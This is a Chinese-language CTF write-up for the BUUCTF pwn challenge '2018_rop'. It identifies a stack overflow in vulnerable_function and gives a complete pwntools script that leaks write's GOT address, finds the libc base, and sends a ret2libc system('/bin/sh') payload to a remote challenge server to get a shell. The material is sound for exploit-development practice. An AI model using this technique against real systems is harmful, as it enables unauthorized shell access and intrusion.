checksec && 运行
ida
main
函数输出字符串:
不重要,调用的vulnerable_function()才是重点
存在名为vulnerable_function()
的函数,存在溢出
存在名为be_nice_to_people()
的函数,控制权限的,这题不用管
给输入分配的栈空间为0x88
利用思路
让vulnerable_function()的输入溢出
代码
'''
@Author : 白银
@Date : 2023-04-10 17:36:03
@LastEditors : 白银
@LastEditTime : 2023-04-10 19:37:35
@FilePath : /pwn/2018_rop.py
@Description : https://buuoj.cn/challenges#%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B9(%E7%AC%AC%E4%BA%94%E8%B5%9B%E5%8C%BA)_2018_rop
@Attention :
@Copyright (c) 2023 by 白银 captain-jparrow@qq.com, All Rights Reserved.
'''
from pwn import *
from libcfind import *
set_arch = 2 # set_arch中,int,0→amd64,1→arm64,2→i386
pwnfile = './2018_rop' # pwnfile, str,二进制文件
if_remote = 1 # if_remote,int,1→远程,别的数字→本地
# 打本地,if_remote改别的数字就可以,最后两个参数随便改
# set_arch = 0
if set_arch == 0:
context(log_level='debug', arch='amd64', os='linux')
elif set_arch == 1:
context(log_level='debug', arch='arm64', os='linux')
elif set_arch == 2:
context(log_level='debug', arch='i386', os='linux')
print(context)
# context(log_level='debug', arch='i386', os='linux')
# pwnfile = './pwn1'
elf = ELF(pwnfile)
if if_remote == 1:
# io = remote("192.168.61.139", 8888)
# io = remote(remote_addr, remote_port)
io = remote("node4.buuoj.cn", 29669)
# libc = ELF('/home/usrname/Desktop/libc.so.6')
if set_arch == 0 or set_arch == 1:
# libc = elf.libc
libc = ELF('/home/usrname/Desktop/libc-2.23.so')
# libc = ELF('/home/usrname/Desktop/2.23x64libc.so.6')
else:
# libc = elf.libc
libc = ELF('/home/usrname/Desktop/libc-2.23.so')
# libc = ELF('/home/usrname/Desktop/2.23x86libc.so.6')
else:
io = process(pwnfile)
# 本地用
# elf = ELF(pwnfile)
libc = elf.libc
# libc = ELF('/home/usrname/Desktop/libc-2.23.so')
rop = ROP(pwnfile)
# 本地调试用
gdb.attach(io)
pause()
padding = 0x8c # ida看,上限和s差多少,加上r
write_plt = elf.plt['write']
print("write_plt------", hex(write_plt))
write_got = elf.got['write']
print("write_got------", hex(write_got))
main_addr = elf.symbols['main']
print("main_addr------", hex(main_addr))
# 1 是文件描述符,表示标准输出
# write_got在write函数内部被解释为输出的数据的地址;
# 4 是要写入到标准输出的字节数
# ssize_t write(int fd, const void *buf, size_t count); //这是write函数
# ssize_t write(1, write_got, 4); //这是payload的布局
# 利用write()函数向输出流中写入数据,在这个过程中泄露出libc基址
payload = flat(['a' * padding , write_plt, main_addr, 1, write_got, 4])
io.sendline(payload)
write_addr = u32(io.recv(4))# x86一个指针占4字节
print("write_addr------", hex(write_addr))
libc = finder('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = flat(['a' * padding, system_addr, 0xdeadbeef, binsh_addr]) # x86在函数和参数之间要占位符
sleep(1)
io.sendline(payload2)
io.interactive()